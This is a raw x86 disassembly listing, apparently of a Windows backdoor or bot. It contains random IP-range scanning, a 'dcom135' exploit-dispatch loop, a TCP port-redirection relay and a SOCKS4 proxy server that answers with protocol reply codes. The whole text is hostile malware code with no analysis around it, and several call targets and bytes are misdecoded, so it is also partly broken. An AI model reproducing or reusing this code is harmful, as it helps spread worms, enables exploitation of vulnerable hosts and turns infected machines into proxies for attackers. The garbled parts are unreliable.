-0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_417AB0 cmp eax, 0Fh pop ecx jbe short loc_407656 xor eax, eax jmp short loc_4076C7 ; --------------------------------------------------------------------------- loc_407656: ; CODE XREF: sub_40762E+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_418A52 add esp, 18h cmp [ebp+var_C], esi jnz short loc_407683 call sub_41730C mov [ebp+var_C], eax loc_407683: ; CODE XREF: sub_40762E+4Bj cmp [ebp+var_8], esi jnz short loc_407690 call sub_41730C mov [ebp+var_8], eax loc_407690: ; CODE XREF: sub_40762E+58j cmp [ebp+var_4], esi jnz short loc_40769D call sub_41730C mov [ebp+var_4], eax loc_40769D: ; CODE XREF: sub_40762E+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_4076A9 call sub_41730C loc_4076A9: ; CODE XREF: sub_40762E+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_43C848[ecx*8], eax loc_4076C7: ; CODE XREF: sub_40762E+26j pop esi leave retn sub_40762E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4076CA proc near ; CODE XREF: sub_407767+BBp ; sub_40D4C5+30p var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_43F6E8 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4076F3 xor eax, eax jmp short loc_407762 ; --------------------------------------------------------------------------- loc_4076F3: ; CODE XREF: sub_4076CA+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_43F668 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_43F704 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_43F610 mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_43F650 push esi mov edi, eax call dword_43F700 xor eax, eax cmp edi, ebx setnle al loc_407762: ; CODE XREF: sub_4076CA+27j pop edi pop esi pop ebx leave retn sub_4076CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407767 proc near ; DATA XREF: sub_40797F+13Bo var_2A8 = dword ptr -2A8h var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax nop call near ptr 25E08E4h push eax call sub_417302 mov ebx, esi pop ecx imul ebx, 234h loc_4077AE: ; CODE XREF: sub_407767+204j mov eax, dword_4450C4[ebx] cmp dword_43C84C[eax*8], 0 jz loc_407970 cmp [ebp+var_10], 0 push eax jz short loc_4077D8 lea eax, [ebp+var_150] push eax call sub_40762E pop ecx jmp short loc_4077DD ; --------------------------------------------------------------------------- loc_4077D8: ; CODE XREF: sub_407767+60j call sub_4075E6 loc_4077DD: ; CODE XREF: sub_407767+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_4450C4[ebx] push [ebp+var_3C] push edi call dword_43F6F4 push eax lea eax, [ebp+var_28C] push offset unk_42B3BC push eax call sub_4172B0 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_444EC0[ebx] push eax call sub_4172B0 push [ebp+var_38] push [ebp+var_3C] push edi call sub_4076CA add esp, 14h cmp eax, 1 jnz loc_407960 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_4078B4 push offset dword_43D7E8 nop call near ptr 77F7E21Fh push [ebp+var_3C] push edi call dword_43F6F4 push eax lea eax, [ebp+var_28C] push offset unk_42B384 push eax call sub_4172B0 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_407896 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40788A lea eax, [ebp+var_140] loc_40788A: ; CODE XREF: sub_407767+11Bj push eax push [ebp+var_40] call sub_40D679 add esp, 14h loc_407896: ; CODE XREF: sub_407767+100j lea eax, [ebp+var_28C] push eax call sub_40BF6D mov [esp+2A8h+var_2A8], offset dword_43D7E8 nop call near ptr 77F7E300h jmp loc_407960 ; --------------------------------------------------------------------------- loc_4078B4: ; CODE XREF: sub_407767+D0j push edi call dword_43F6F4 push eax lea eax, [ebp+var_208] push eax call sub_4172B0 mov eax, [ebp+var_20] pop ecx imul eax, 3Ch pop ecx add eax, offset aDcom135_0 ; "dcom135" push eax lea eax, [ebp+var_178] push eax call sub_4172B0 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_4078F9 lea eax, [ebp+var_140] loc_4078F9: ; CODE XREF: sub_407767+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_4172B0 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] mov [ebp+var_15C], eax mov eax, [ebp+var_14] mov [ebp+var_158], eax mov eax, [ebp+var_3C] mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_164], eax imul eax, 3Ch sub esp, 0BCh mov [ebp+var_168], esi lea esi, [ebp+var_20C] push 2Fh pop ecx mov edi, esp rep movsd call off_42ACB4[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_407960: ; CODE XREF: sub_407767+C6j ; sub_407767+148j push 7D0h nop call near ptr 25F0439h jmp loc_4077AE ; --------------------------------------------------------------------------- loc_407970: ; CODE XREF: sub_407767+55j push esi call sub_417078 pop ecx push 0 nop call near ptr 25E02EAh sub_407767 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40797F proc near ; DATA XREF: sub_40EE72+3302o ; sub_40EE72+5137o var_1DC = dword ptr -1DCh var_1CC = byte ptr -1CCh var_14C = byte ptr -14Ch var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_43F6A8 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_43C848[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_407252 push 8 call sub_416FA4 add esp, 150h cmp eax, ebx jnz short loc_407A4D mov esi, offset dword_43D7E8 push esi nop call near ptr 26C0000h push 80000400h push esi nop call near ptr 26B0B0Ch test eax, eax jnz short loc_407A4D lea eax, [ebp+var_1CC] push offset unk_42B4F0 push eax call sub_4172B0 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_407A37 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40D679 add esp, 14h loc_407A37: ; CODE XREF: sub_40797F+99j lea eax, [ebp+var_1CC] push eax call sub_40BF6D pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_407A4D: ; CODE XREF: sub_40797F+63j ; sub_40797F+7Fj mov eax, [ebp+var_2C] mov esi, dword_424064 mov edi, ebx mov dword_43C84C[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_407B1A loc_407A6B: ; CODE XREF: sub_40797F+195j push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_42B4A8 push eax call sub_4172B0 push ebx lea eax, [ebp+var_1CC] push 8 push eax call sub_416D5C mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_4450C4[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_407767 push ebx push ebx call near ptr 2660D4Bh nop mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_407AE5 loc_407ADA: ; CODE XREF: sub_40797F+164j cmp [ebp+var_4], ebx jnz short loc_407B0C push 1Eh call esi jmp short loc_407ADA ; --------------------------------------------------------------------------- loc_407AE5: ; CODE XREF: sub_40797F+159j call near ptr 2630313h nop push eax lea eax, [ebp+var_1CC] push offset unk_42B45C push eax call sub_4172B0 lea eax, [ebp+var_1CC] push eax call sub_40BF6D add esp, 10h loc_407B0C: ; CODE XREF: sub_40797F+15Ej push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_407A6B loc_407B1A: ; CODE XREF: sub_40797F+E6j cmp [ebp+var_30], ebx jz loc_407BC4 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_407B2F: ; CODE XREF: sub_40797F+250j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_43C848[eax*8] push eax call dword_43F6F4 push eax lea eax, [ebp+var_1CC] push offset unk_42B408 push eax call sub_4172B0 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_407B7D push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40D679 add esp, 14h loc_407B7D: ; CODE XREF: sub_40797F+1DFj lea eax, [ebp+var_1CC] push eax call sub_40BF6D mov eax, [ebp+var_2C] mov [esp+1DCh+var_1DC], 0BB8h mov dword_43C84C[eax*8], ebx call esi push 8 call sub_416FA4 cmp eax, 1 pop ecx jnz short loc_407BB4 push offset dword_43D7E8 call near ptr 26C0000h nop loc_407BB4: ; CODE XREF: sub_40797F+228j push [ebp+var_2C] call sub_417078 pop ecx push ebx nop call near ptr 25E02EAh loc_407BC4: ; CODE XREF: sub_40797F+19Ej ; sub_40797F+25Dj mov eax, [ebp+var_2C] cmp dword_43C84C[eax*8], 1 jnz loc_407B2F push 7D0h call esi jmp short loc_407BC4 sub_40797F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407BDE proc near ; DATA XREF: sub_40EE72+36DFo var_34C = byte ptr -34Ch var_14C = byte ptr -14Ch var_148 = dword ptr -148h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 34Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_14C] rep movsd push 1 xor esi, esi pop edi push 10h mov [eax+120h], edi pop ebx lea eax, [ebp+var_10] push ebx push esi push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_40] call dword_43F668 push 6 push edi push 2 mov [ebp+var_E], ax mov [ebp+var_C], esi mov [ebp+arg_0], ebx call dword_43F6E8 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_407D42 mov eax, [ebp+var_3C] push edi imul eax, 234h push 401h push esi push ebx mov dword_4450CC[eax], ebx call dword_43F584 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43F694 test eax, eax jnz loc_407D42 push 0Ah push ebx call dword_43F690 test eax, eax jnz loc_407D42 loc_407C88: ; CODE XREF: sub_407BDE+BEj ; sub_407BDE+13Fj lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_24] push eax push ebx call dword_43F6FC mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_407C88 movzx eax, [ebp+var_22] push [ebp+var_3C] mov [ebp+var_148], edi mov [ebp+var_2C], esi push eax push [ebp+var_20] call dword_43F6F4 push eax lea eax, [ebp+var_34C] push offset unk_42B584 push eax call sub_4172B0 push edi lea eax, [ebp+var_34C] push 10h push eax call sub_416D5C mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_4450C4[eax], ecx lea eax, [ebp+var_14] push eax lea eax, [ebp+var_14C] push esi push eax push offset loc_407D66 push esi push esi call near ptr 2660D4Bh nop mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_4450D4[ecx], eax jz short loc_407D2D loc_407D1A: ; CODE XREF: sub_407BDE+14Dj cmp [ebp+var_2C], esi jnz loc_407C88 push 32h nop call near ptr 25F0439h jmp short loc_407D1A ; --------------------------------------------------------------------------- loc_407D2D: ; CODE XREF: sub_407BDE+13Aj call near ptr 2630313h nop push eax push offset unk_42B538 call sub_40BFE1 pop ecx pop ecx jmp short loc_407D45 ; --------------------------------------------------------------------------- loc_407D42: ; CODE XREF: sub_407BDE+61j ; sub_407BDE+93j ... mov edi, [ebp+arg_0] loc_407D45: ; CODE XREF: sub_407BDE+162j push edi call dword_43F700 push ebx call dword_43F700 push [ebp+var_3C] call sub_417078 pop ecx push esi nop call near ptr 25E02EAh pop edi pop esi pop ebx sub_407BDE endp ; sp-analysis failed loc_407D66: ; DATA XREF: sub_407BDE+11Co push ebp mov ebp, esp mov eax, 1344h call sub_417B30 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_43F6E8 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_407F1C push 10h lea eax, [ebp-18h] push edi push eax call sub_417330 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_43F668 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_43F6A8 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_407DF6 lea eax, [ebp-13Ch] push eax call dword_43F6EC jmp short loc_407E04 ; --------------------------------------------------------------------------- loc_407DF6: ; CODE XREF: ___:00407DE5j push 2 lea eax, [ebp-8] push 4 push eax call dword_43F620 loc_407E04: ; CODE XREF: ___:00407DF4j cmp eax, edi jz loc_407F1C mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_43F610 cmp eax, 0FFFFFFFFh jz loc_407F1C movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_43F6F4 push eax lea eax, [ebp-344h] push offset unk_42B62C push eax call sub_4172B0 push esi lea eax, [ebp-344h] push 10h push eax call sub_416D5C imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_4450CC[ebx] mov dword_4450C4[eax], ecx add esp, 20h mov ecx, [esi] mov dword_4450D0[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_407F4D push edi push edi call near ptr 2660D4Bh nop mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_4450D4[ecx], eax jz short loc_407F09 loc_407EB6: ; CODE XREF: ___:00407EC3j cmp [ebp-20h], edi jnz short loc_407EC5 push 32h nop call near ptr 25F0439h jmp short loc_407EB6 ; --------------------------------------------------------------------------- loc_407EC5: ; CODE XREF: ___:00407EB9j mov ebx, 1000h loc_407ECA: ; CODE XREF: ___:00407F05j push ebx lea eax, [ebp-1344h] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_43F680 cmp eax, edi jle short loc_407F1C push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_407ECA jmp short loc_407F1C ; --------------------------------------------------------------------------- loc_407F09: ; CODE XREF: ___:00407EB4j nop call near ptr 2630313h push eax push offset unk_42B5DC call sub_40BFE1 pop ecx pop ecx loc_407F1C: ; CODE XREF: ___:00407DAAj ; ___:00407E06j ... mov eax, [ebp-4] imul eax, 234h push dword_4450CC[eax] call dword_43F700 push dword ptr [ebp+8] call dword_43F700 push dword ptr [ebp-4] call sub_417078 pop ecx push edi call near ptr 25E02EAh nop pop edi pop esi pop ebx loc_407F4D: ; DATA XREF: ___:00407E96o push ebp mov ebp, esp mov eax, 1128h call sub_417B30 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_407F84: ; CODE XREF: ___:00407FC9j push edi lea eax, [ebp-1128h] push 0 push eax call sub_417330 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_4450D0[esi] call dword_43F680 test eax, eax jle short loc_407FCB push 0 push eax lea eax, [ebp-1128h] push eax push dword_4450CC[esi] call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_407F84 loc_407FCB: ; CODE XREF: ___:00407FAEj push dword_4450D0[esi] call dword_43F700 push dword ptr [ebp-14h] call sub_417078 pop ecx push 0 nop ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- add al, [ebx+5E5F021Dh] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407FEA proc near ; DATA XREF: sub_40EE72+5E51o var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_4D0 = byte ptr -4D0h var_4CF = byte ptr -4CFh var_4CE = word ptr -4CEh var_4CC = dword ptr -4CCh var_4C8 = byte ptr -4C8h var_2D4 = byte ptr -2D4h var_D4 = dword ptr -0D4h var_D0 = byte ptr -0D0h var_C8 = byte ptr -0C8h var_44 = byte ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 10h mov esi, eax pop ebx lea edi, [ebp+var_D4] push 2Ch mov [ebp+var_4], ebx pop ecx rep movsd push 1 xor esi, esi pop edi mov [eax+0A8h], edi push ebx lea eax, [ebp+var_14] push esi push eax call sub_417330 add esp, 0Ch mov word ptr [ebp+var_14], 2 push [ebp+var_40] call dword_43F668 push 6 push edi push 2 mov word ptr [ebp+var_14+2], ax mov [ebp+var_10], esi call dword_43F6E8 mov edi, eax mov eax, [ebp+var_3C] imul eax, 234h push ebx mov dword_4450CC[eax], edi lea eax, [ebp+var_14] push eax push edi call dword_43F694 test eax, eax jnz loc_40818C push 0Ah push edi call dword_43F690 test eax, eax jnz loc_40818C push [ebp+var_40] push [ebp+var_D4] call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2D4] push offset unk_42B75C push eax call sub_4172B0 add esp, 10h cmp [ebp+var_30], esi jnz short loc_4080C5 push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_40D679 add esp, 14h loc_4080C5: ; CODE XREF: sub_407FEA+B9j ; sub_407FEA+172j ... lea eax, [ebp+var_2D4] push eax call sub_40BF6D pop ecx lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push edi call dword_43F6FC push [ebp+var_3C] mov ebx, eax movzx eax, [ebp+var_22] push eax mov [ebp+var_28], esi push [ebp+var_20] call dword_43F6F4 push eax lea eax, [ebp+var_2D4] push offset unk_42B708 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2D4] push 11h push eax call sub_416D5C mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_4450C4[eax], ecx lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_D4] push esi push eax push offset loc_4081EF push esi push esi call near ptr 2660D4Bh nop mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_4450D4[ecx], eax jz short loc_40816C loc_408159: ; CODE XREF: sub_407FEA+180j cmp [ebp+var_28], esi jnz loc_4080C5 push 5 nop call near ptr 25F0439h jmp short loc_408159 ; --------------------------------------------------------------------------- loc_40816C: ; CODE XREF: sub_407FEA+16Dj call near ptr 2630313h nop push eax lea eax, [ebp+var_2D4] push offset unk_42B6C0 push eax call sub_4172B0 add esp, 0Ch jmp loc_4080C5 ; --------------------------------------------------------------------------- loc_40818C: ; CODE XREF: sub_407FEA+7Bj ; sub_407FEA+8Cj push edi call dword_43F700 push [ebp+var_40] lea eax, [ebp+var_2D4] push offset unk_42B680 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_4081CF push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_40D679 add esp, 14h loc_4081CF: ; CODE XREF: sub_407FEA+1C3j lea eax, [ebp+var_2D4] push eax call sub_40BF6D push [ebp+var_3C] call sub_417078 pop ecx pop ecx push esi nop call near ptr 25E02EAh pop edi pop esi pop ebx loc_4081EF: ; DATA XREF: sub_407FEA+14Fo push ebp mov ebp, esp sub esp, 5D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 2Ch mov esi, eax pop ecx lea edi, [ebp+var_C8] rep movsd mov esi, [ebp+var_2C] push 1 mov [ebp+arg_0], esi imul esi, 234h pop edi lea esi, dword_4450CC[esi] mov [eax+0ACh], edi xor ebx, ebx mov eax, [esi] mov [ebp+var_8], 5 mov [ebp+var_5D0], eax lea eax, [ebp+var_8] push eax push ebx lea eax, [ebp+var_5D4] push ebx push eax push ebx mov [ebp+var_4], ebx mov [ebp+var_5D4], edi call dword_43F650 test eax, eax jnz short loc_408270 push dword ptr [esi] call dword_43F700 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 25E02EAh loc_408270: ; CODE XREF: sub_407FEA+26Cj push ebx lea eax, [ebp+var_4D0] push 408h push eax push dword ptr [esi] call dword_43F680 test eax, eax jg short loc_4082A1 push dword ptr [esi] call dword_43F700 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 25E02EAh loc_4082A1: ; CODE XREF: sub_407FEA+29Dj cmp [ebp+var_4D0], 4 jnz loc_40849B cmp [ebp+var_4CF], 1 jnz loc_40849B cmp [ebp+var_44], bl jz short loc_408337 lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_408337 lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax push offset unk_42B830 call sub_40BFE1 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Dh call sub_417330 add esp, 18h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43F6B8 push dword ptr [esi] call dword_43F700 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 25E02EAh loc_408337: ; CODE XREF: sub_407FEA+2D4j ; sub_407FEA+2EAj push 10h lea eax, [ebp+var_18] push ebx push eax call sub_417330 mov ax, [ebp+var_4CE] add esp, 0Ch mov [ebp+var_16], ax mov eax, [ebp+var_4CC] push 6 push edi push 2 mov [ebp+var_18], 2 mov [ebp+var_14], eax call dword_43F6E8 mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_4083CF call dword_43F5FC push eax push offset unk_42B7E4 call sub_40BFE1 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_417330 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43F6B8 push dword ptr [esi] call dword_43F700 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 25E02EAh loc_4083CF: ; CODE XREF: sub_407FEA+386j lea eax, [ebp+var_18] push 10h push eax push edi call dword_43F610 cmp eax, 0FFFFFFFFh jnz short loc_40843E call dword_43F5FC push eax push offset unk_42B794 call sub_40BFE1 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_417330 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43F6B8 push dword ptr [esi] call dword_43F700 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 25E02EAh loc_40843E: ; CODE XREF: sub_407FEA+3F5j push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Ah call sub_417330 add esp, 0Ch lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43F6B8 push dword ptr [esi] push edi call sub_4084B3 pop ecx pop ecx push edi call dword_43F700 push dword ptr [esi] call dword_43F700 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 25E02EAh loc_40849B: ; CODE XREF: sub_407FEA+2BEj ; sub_407FEA+2CBj push dword ptr [esi] call dword_43F700 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 25E02EAh sub_407FEA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4084B3 proc near ; CODE XREF: sub_407FEA+48Bp var_504 = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi mov esi, 400h loc_4084C9: ; CODE XREF: sub_4084B3+C5j ; sub_4084B3+F5j mov [ebp+var_100], ebx mov [ebp+var_104], 1 xor ecx, ecx lea eax, [ebp+var_100] loc_4084E1: ; CODE XREF: sub_4084B3+3Cj mov edx, [ebp+arg_0] cmp [eax], edx jz short loc_4084F1 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4084E1 loc_4084F1: ; CODE XREF: sub_4084B3+33j cmp ecx, 1 jnz short loc_408506 mov [ebp+var_FC], edx mov [ebp+var_104], 2 loc_408506: ; CODE XREF: sub_4084B3+41j push esi lea eax, [ebp+var_504] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_104] push edi push edi push edi push eax push edi call dword_43F650 lea eax, [ebp+var_104] push eax push ebx call dword_43F560 test eax, eax jz short loc_408566 push edi lea eax, [ebp+var_504] push esi push eax push ebx call dword_43F680 cmp eax, 0FFFFFFFFh jz short loc_4085AE push edi push eax lea eax, [ebp+var_504] push eax push [ebp+arg_0] call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_4085AE loc_408566: ; CODE XREF: sub_4084B3+85j lea eax, [ebp+var_104] push eax push [ebp+arg_0] call dword_43F560 test eax, eax jz loc_4084C9 push edi lea eax, [ebp+var_504] push esi push eax push [ebp+arg_0] call dword_43F680 cmp eax, 0FFFFFFFFh jz short loc_4085AE push edi push eax lea eax, [ebp+var_504] push eax push ebx call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz loc_4084C9 loc_4085AE: ; CODE XREF: sub_4084B3+9Aj ; sub_4084B3+B1j ... pop edi pop esi pop ebx leave retn sub_4084B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4085B3 proc near ; CODE XREF: sub_40EE72+45B1p var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 